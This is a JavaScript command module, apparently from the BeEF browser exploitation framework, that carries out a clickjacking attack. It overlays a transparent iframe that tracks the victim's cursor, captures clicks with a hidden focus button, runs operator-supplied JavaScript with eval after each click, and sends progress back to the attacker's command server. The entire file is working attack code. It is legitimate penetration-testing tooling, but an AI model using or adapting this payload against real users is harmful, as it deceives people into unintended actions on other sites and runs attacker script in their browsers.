140 lines
4.7 KiB
JavaScript
140 lines
4.7 KiB
JavaScript
/*
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* Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net
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* Browser Exploitation Framework (BeEF) - http://beefproject.com
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* See the file 'doc/COPYING' for copying permission
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*/
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beef.execute(function() {
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var elems = {
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outerFrame: "cjFrame",
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innerFrame: "innerFrame",
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btn: "persistentFocusBtn"
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}
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var clicked = 0;
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var src = "<%= @iFrameSrc %>";
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var secZone = "<%= @iFrameSecurityZone %>";
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var sandbox = "<%= @iFrameSandbox %>";
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var visibility = "<%= @iFrameVisibility %>";
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var clicks = [
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{js:"<%= URI.escape(@clickaction_1) %>", posTop:cleanPos("<%= @iFrameTop_1 %>"), posLeft:cleanPos("<%= @iFrameLeft_1 %>")},
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{js:"<%= URI.escape(@clickaction_2) %>", posTop:cleanPos("<%= @iFrameTop_2 %>"), posLeft:cleanPos("<%= @iFrameLeft_2 %>")},
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{js:"<%= URI.escape(@clickaction_3) %>", posTop:cleanPos("<%= @iFrameTop_3 %>"), posLeft:cleanPos("<%= @iFrameLeft_3 %>")},
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{js:"<%= URI.escape(@clickaction_4) %>", posTop:cleanPos("<%= @iFrameTop_4 %>"), posLeft:cleanPos("<%= @iFrameLeft_4 %>")},
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{js:"<%= URI.escape(@clickaction_5) %>", posTop:cleanPos("<%= @iFrameTop_5 %>"), posLeft:cleanPos("<%= @iFrameLeft_5 %>")},
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{js:"<%= URI.escape(@clickaction_6) %>", posTop:cleanPos("<%= @iFrameTop_6 %>"), posLeft:cleanPos("<%= @iFrameLeft_6 %>")},
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{js:"<%= URI.escape(@clickaction_7) %>", posTop:cleanPos("<%= @iFrameTop_7 %>"), posLeft:cleanPos("<%= @iFrameLeft_7 %>")},
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{js:"<%= URI.escape(@clickaction_8) %>", posTop:cleanPos("<%= @iFrameTop_8 %>"), posLeft:cleanPos("<%= @iFrameLeft_8 %>")},
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{js:"void(0);", posTop:'-', posLeft:'-'}
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]
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var iframeAttrs = {};
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iframeAttrs.src = src;
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(secZone == "on") ? iframeAttrs.security = "restricted" : "";
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(sandbox == "on") ? iframeAttrs.sandbox = "allow-forms" : "";
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var iframeStyles = {};
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iframeStyles.width = "<%= @iFrameWidth %>px";
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iframeStyles.height = "<%= @iFrameHeight %>px";
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iframeStyles.opacity = (visibility == "on") ? "0.6" : "0.0";
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iframeStyles.filter = (visibility == "on") ? "alpha(opacity=60)" : "alpha(opacity=0)";
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var innerPos = {};
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//initialize iframe
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innerPos.top = clicks[0].posTop + "px";
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innerPos.left = clicks[0].posLeft + "px";
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//returns a negative version of a number, or if NaN returns a dash
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function cleanPos(coordinate) {
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var iCoordinate = parseInt(coordinate);
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if (isNaN(iCoordinate))
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return "-";
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else if (iCoordinate > 0)
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return (-1 * iCoordinate)
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return iCoordinate
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}
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function init(params, styles, stylesInner, callback) {
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var container = $j.extend(true, {'border':'none', 'position':'absolute', 'z-index':'100000', 'overflow':'hidden'}, styles);
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var inner = $j.extend(true, {'border':'none', 'position':'absolute', 'width':'2000px', 'height':'10000px'}, stylesInner);
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var containerDiv = $j('<div id="' + elems.outerFrame + '"></div>').css(container).prependTo('body');
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var containerDiv = $j('<input id="' + elems.btn + '" type="button" value="invisible" style="width:1px;height:1px;opacity:0;alpha(opacity=0);margin-left:-200px" />').appendTo('body');
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var innerIframe = $j('<iframe id="' + elems.innerFrame + '" scrolling="no" />').attr(params).css(inner).load(callback).prependTo('#' + elems.outerFrame);
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return containerDiv;
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}
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function step1(){
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var btnSelector = "#" + elems.btn;
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var outerSelector = "#" + elems.outerFrame;
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var btnObj = $j(btnSelector);
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var outerObj = $j(outerSelector);
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$j("body").mousemove(function(e) {
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$j(outerObj).css('top', e.pageY);
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$j(outerObj).css('left', e.pageX);
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});
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$j(btnObj).focus();
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$j(btnObj).focusout(function() {
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cjLog("Iframe clicked");
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iframeClicked();
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});
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}
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function iframeClicked(){
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clicked++;
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var jsfunc = '';
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jsfunc = clicks[clicked-1].js;
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innerPos.top = clicks[clicked].posTop;
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innerPos.left = clicks[clicked].posLeft;
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eval(unescape(jsfunc));
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setTimeout(function(){
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updateIframePosition();
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}, <%= @clickDelay %>);
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setTimeout(function(){
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var btnSelector = "#" + elems.btn;
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var btnObj = $j(btnSelector);
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$j(btnObj).focus();
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//check if there are any more actions to perform
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try {
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if (isNaN(parseInt(clicks[clicked].posTop))) {
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removeAll(elems);
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throw "No more clicks.";
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}
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} catch(e) {
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cjLog(e);
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}
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}, 200);
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}
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function updateIframePosition(){
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var innerSelector = "#" + elems.innerFrame;
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var innerObj = $j(innerSelector);
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$j(innerObj).css('top', innerPos.top + 'px');
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$j(innerObj).css('left', innerPos.left + 'px');
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}
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//Remove outerFrame and persistent button
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function removeAll(){
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$j("#" + elems.outerFrame).remove();
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$j("#" + elems.btn).remove();
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}
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function cjLog(msg){
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beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=' + msg);
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}
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init(iframeAttrs, iframeStyles, innerPos,
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function() {
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step1();
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cjLog("Iframe successfully created.");
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}
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);
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});
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